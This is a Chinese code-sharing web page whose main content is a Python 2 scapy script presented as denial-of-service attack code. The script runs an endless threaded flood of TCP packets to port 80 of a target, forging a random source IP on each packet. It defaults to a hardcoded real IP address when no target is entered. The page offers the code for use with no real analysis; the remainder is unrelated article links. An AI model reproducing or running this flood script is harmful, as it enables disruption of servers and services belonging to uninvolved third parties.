分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
Python爬虫实现百度图片自动下载
Feb 04 Python
Windows上使用Python增加或删除权限的方法
Apr 24 Python
Python实现矩阵相乘的三种方法小结
Jul 26 Python
python+opencv实现摄像头调用的方法
Jun 22 Python
pytorch 在网络中添加可训练参数,修改预训练权重文件的方法
Aug 17 Python
Python处理session的方法整理
Aug 29 Python
TensorFlow内存管理bfc算法实例
Feb 03 Python
Python局部变量与全局变量区别原理解析
Jul 14 Python
python+pygame实现坦克大战小游戏的示例代码(可以自定义子弹速度)
Aug 11 Python
Python实现定时监测网站运行状态的示例代码
Sep 30 Python
详解pycharm连接远程linux服务器的虚拟环境的方法
Nov 13 Python
python pyhs2 的安装操作
Apr 07 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
这部好评如潮的动漫 知名梗频出 但是画风劝退很多人
2020/03/08 日漫
PHP对接微信公众平台消息接口开发流程教程
2014/03/25 PHP
前端必学之PHP语法基础
2016/01/01 PHP
php实现批量修改文件名称的方法
2016/07/23 PHP
PHP实现导出excel数据的类库用法示例
2016/10/15 PHP
php ZipArchive实现多文件打包下载实例
2019/10/31 PHP
yii2.0框架数据库操作简单示例【添加,修改,删除,查询,打印等】
2020/04/13 PHP
form.submit()不能提交表单的错误原因及解决方法
2014/10/13 Javascript
JavaScript数据类型详解
2015/04/01 Javascript
Jquery时间轴特效(三种不同类型)
2015/11/02 Javascript
AngularJS入门教程之AngularJS表达式
2016/04/18 Javascript
jquery表单插件Autotab使用方法详解
2016/06/24 Javascript
分享jQuery封装好的一些常用操作
2016/07/28 Javascript
BootStrap表单验证 FormValidation 调整反馈图标位置的实例代码
2017/05/17 Javascript
JS/HTML5游戏常用算法之碰撞检测 像素检测算法实例详解
2018/12/12 Javascript
javascript+Canvas实现画板功能
2020/06/23 Javascript
解决vue路由name同名,路由重复的问题
2020/08/05 Javascript
vue 路由缓存 路由嵌套 路由守卫 监听物理返回操作
2020/08/06 Javascript
JavaScript实现世界各地时间显示
2020/09/07 Javascript
使用python检测主机存活端口及检查存活主机
2015/10/12 Python
基于Python pip用国内镜像下载的方法
2018/06/12 Python
在PyCharm导航区中打开多个Project的关闭方法
2019/01/17 Python
Django 大文件下载实现过程解析
2019/08/01 Python
关于Pytorch MaxUnpool2d中size操作方式
2020/01/03 Python
Tensorflow实现部分参数梯度更新操作
2020/01/23 Python
python实现杨辉三角的几种方法代码实例
2021/03/02 Python
Lookfantastic意大利官网:英国知名美妆购物网站
2019/05/31 全球购物
岗位明星事迹材料
2014/05/18 职场文书
2014党员学习兰辉先进事迹思想汇报
2014/09/17 职场文书
采购内勤岗位职责
2015/04/13 职场文书
青年志愿者服务活动总结
2015/05/06 职场文书
承兑汇票延期证明
2015/06/23 职场文书
三严三实学习心得体会(精选N篇)
2016/01/05 职场文书
JavaScript阻止事件冒泡的方法
2021/12/06 Javascript
mysql 乱码 字符集latin1转UTF8
2022/04/19 MySQL
苹果可能正在打击不进行更新的 App
2022/04/24 数码科技